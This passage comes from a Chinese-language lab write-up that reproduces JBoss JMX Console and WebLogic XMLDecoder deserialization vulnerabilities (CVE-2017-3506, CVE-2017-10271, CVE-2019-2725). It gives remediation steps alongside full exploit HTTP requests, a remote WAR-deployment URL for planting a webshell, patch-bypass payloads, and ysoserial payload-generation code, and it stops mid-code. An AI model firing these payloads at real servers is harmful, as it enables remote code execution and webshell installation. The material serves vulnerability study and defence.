2、或刪除Administration Console頁面。 JBoss版本>=6.0，admin-console頁面路徑為：C:\jboss-6.1.0.Final\common\deploy\admin-console.war 6.0之前的版本，路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
JMX Console未授權訪問
JMX Console默認存在未授權訪問，直接點擊JBoss主頁中的JMX Console鏈接進入JMX Console頁面。
1、在JMX Console頁面點擊jboss.system鏈接，在Jboss.system頁面中點擊service=MainDeployer，如下
2、進入service=MainDeployer頁面之后，找到methodIndex為17 or 19的deploy 填寫遠程war包地址進行遠程部署。
3、這里我部署的war包為lxh.war，鏈接如下： http://192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.31.205/lxh.war
4、訪問 http://xx.xx.xx.xx/[warname]/shellname.jsp
修復建議
- 增加密碼措施，防止未授權訪問。 1）在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml開啟安全配置。
2）在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml開啟安全認證。
3）在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMX Console的用戶密碼配置位置。
<application-policy name="jmx-console"> <authentication> <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule" flag="required"> <module-option name="usersProperties">props/jmx-console-users.properties</module-option> <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option> </login-module> </authentication>
4）配置用戶密碼以及用戶權限，這里新增lxhsec用戶。
5）重啟JBoss，效果如下：
2.或刪除JMX Console,后重啟JBoss C:\jboss-6.1.0.Final\common\deploy\jmx-console.war
6、WebLogic
WebLogic是美國Oracle公司出品的一個applicationserver，確切的說是一個基於JAVAEE架構的中間件，WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標准的安全性引入大型網絡應用的開發、集成、部署和管理之中。
默認端口:7001
測試環境版本：10.3.6 下載地址：
https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe?AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954
下載完成后雙擊運行，一直點下一步就ok了。
安裝完成之后，在
C:\Oracle\Middleware\user_projects\domains\base_domain
這個目錄雙擊startWebLogic.cmd啟動Weblogic服務。
瀏覽器訪問：http://127.0.0.1:7001/, 界面上出現Error 404–Not Found，即啟動成功。
設置外網訪問，在 域結構 -> 環境 -> 服務器 右邊選擇相應的Server（管理服務器），打開進行編輯，在監聽地址:中填入0.0.0.0，保存后，重啟Weblogic服務器即可。
以下復現若無特別說明均采用Weblogic 10.3.6
XMLDecoder 反序列化漏洞（CVE-2017-10271 & CVE-2017-3506）
Weblogic的WLS Security組件對外提供webservice服務，其中使用了XMLDecoder來解析用戶傳入的XML數據，在解析的過程中出現反序列化漏洞，導致可執行任意命令。
訪問 /wls-wsat/CoordinatorPortType 返回如下頁面，則可能存在此漏洞。
漏洞不僅存在於 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影響，可以查看web.xml得知所有受到影響的Uri，路徑為：C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
默認受到影響的Uri如下：
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
構造 寫入文件 數據包發送，如下，其中Content-Type需要等於text/xml,否則可能導致XMLDecoder不解析。
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/xml Connection: close Content-Length: 629 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string> <void method="println"> <string> <![CDATA[ <% out.print("test777776666666"); %> ]]> </string> </void> <void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
訪問 /bea_wls_internal/test2.jsp,如下：
不熟悉JAVA的小伙伴們可能會對這個構造的XML有所疑惑，可以參考下這篇文章。
CVE-2017-3506的補丁加了驗證函數，補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 驗證Payload中的節點是否存在object Tag。
private void validate(InputStream is){ WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser =factory.newSAXParser(); parser.parse(is, newDefaultHandler() { public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch(ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXExceptionvar6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOExceptionvar7) { throw new IllegalStateException("Parser Exception", var7); } }
我們將object換成void就可繞過此補丁，產生了CVE-2017-10271。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string> <void method="println"> <string> <![CDATA[ <% out.print("test777776666666"); %> ]]> </string> </void> <void method="close"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
修復建議
1）安裝補丁。 2）或刪除wls-wsat組件，再次訪問返回404.
1.刪除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war 2.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war 3.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat 4.重啟Weblogic
Note：wls-wsat.war屬於一級應用包，對其進行移除或更名操作可能造成未知的后果，Oracle官方不建議對其進行此類操作。
Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞（CVE-2019-2725）
影響組件：bea_wls9_async_response.war, wls-wsat.war 影響版本：10.3.6.0, 12.1.3.0
bea_wls9_async_response.war
訪問 /_async/AsyncResponseService 返回如下頁面，則可能存在此漏洞。
漏洞不僅存在於 /_async/AsyncResponseService 只要是在bea_wls9_async_response包中的Uri皆受到影響，可以查看web.xml得知所有受到影響的Uri，路徑為： C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
默認受到影響的Uri如下：
/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttps
wls-wsat.war受影響的URI見XMLDecoder 反序列化漏洞（CVE-2017-10271 & CVE-2017-3506）
此漏洞實際上是CVE-2017-10271的又一入口，那么它是怎么繞過CVE-2017-10271的補丁，執行REC的呢。
先來看一下CVE-2017-10271的補丁代碼：
public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength();++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))){ throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 =attributes.getValue("class"); if(var9 != null &&!var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is notvalid for array element."); }
其中CVE-2017-3506的補丁是過濾了object，CVE-2017-10271的補丁是過濾了new，method標簽，且void后面只能跟index，array后面可以跟class，但是必須要是byte類型的。 繞過CVE-2017-10271補丁是因為class標簽未被過濾所導致的，這點我們可以從Oracle 發布的CVE-2019-2725補丁看出來， CVE-2019-2725補丁新增部分內容，將class加入了黑名單，限制了array標簽中的byte長度。如下：
else if (qName.equalsIgnoreCase("class")) { throw new IllegalStateException("Invalid element qName:class"); } else { if (qName.equalsIgnoreCase("array")) { String attClass = attributes.getValue("class"); if (attClass != null && !attClass.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); } String lengthString = attributes.getValue("length"); if (lengthString != null) { try { int length = Integer.valueOf(lengthString); if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) { throw new IllegalStateException("Exceed array length limitation"); } this.overallarraylength += length; if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) { throw new IllegalStateException("Exceed over all array limitation."); } } catch (NumberFormatException var8) {
復現：Weblogic 10.3.6 利用oracle.toplink.internal.sessions.UnitOfWorkChangeSet構造函數執行readObject().
構造函數參考：
public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException { java.io.ByteArrayInputStream byteIn = new java.io.ByteArrayInputStream(bytes); ObjectInputStream objectIn = new ObjectInputStream(byteIn); //bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets allChangeSets = (IdentityHashtable)objectIn.readObject(); deletedObjects = (IdentityHashtable)objectIn.readObject(); }
UnitOfWorkChangeSet的參數是一個Byte數組，因此我們需要將Payload轉換為Byte[].
利用ysoserial生成Payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Jdk7u21 "cmd /c echo lxhsec > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/echoxxxxx.txt" > payload.txt
然后使用下列代碼，將Payload進行轉換成Byte[]
import java.beans.XMLEncoder; import java.io.*; public class Test{ public static void main(String[] args) throws Exception { File file = new File("C:\\Users\\lxhsec\\Downloads\\JRE8u20_RCE_Gadget-master\\exploit.ser"); //讀取ysoserial文件生成的payload FileInputStream fileInputStream = new FileInputStream(file); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream((int) file.length()); int buf_size=1024; byte[] buffer=new byte[buf_size]; int len=0; while(-1 != (len=fileInputStream.read(buffer,0,buf_size))){ byteArrayOutputStream.write(buffer,0,len); } BufferedOutputStream oop = new BufferedOutputStream(new FileOutputStream(new File("C:\\Users\\lxhsec\\Downloads\\ysoserial-master\\target\\result.txt"))); //使用jdk的xmlencoder把byte數組寫入到 result.txt XMLEncoder xmlEncoder = new XMLEncoder(oop); xmlEncoder.flush(); xmlEncoder.writeObject(byteArrayOutputStream.toByteArray()); xmlEncoder.close(); byteArrayOutputStream.close(); fileInputStream.close(); } }
拼接Payload
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept:*/* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: text/xml Content-Length: 178338 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void> //此處填寫上面生成的XML。 </void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
效果:
使用ysoserial生成的只能適用於Windows平台，如果在Linux平台使用，則又要進行一次編譯，兼容性有點不太好，因此我們可以 將ysoserial稍稍的進行更改。
這里我們將ysoserial的Gadgets.java文件進行更改。路徑為：ysoserial-master\src\main\java\ysoserial\payloads\util\Gadgets.java.
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // ---Start String cmd = ""; if(command.startsWith("filename:")) { String filename = command.substring(9); try { File file = new File(filename); if (file.exists()) { FileReader reader = new FileReader(file); BufferedReader br = new BufferedReader(reader); StringBuffer sb = new StringBuffer(""); String line = ""; while ((line = br.readLine()) != null) { sb.append(line); sb.append("\r\n"); } cmd = sb.toString(); } else { System.err.println(String.format("filename %s not exists!", filename)); System.exit(0); } } catch (IOException e) { e.printStackTrace(); } }else { // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; } System.err.println(cmd); // ---end clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get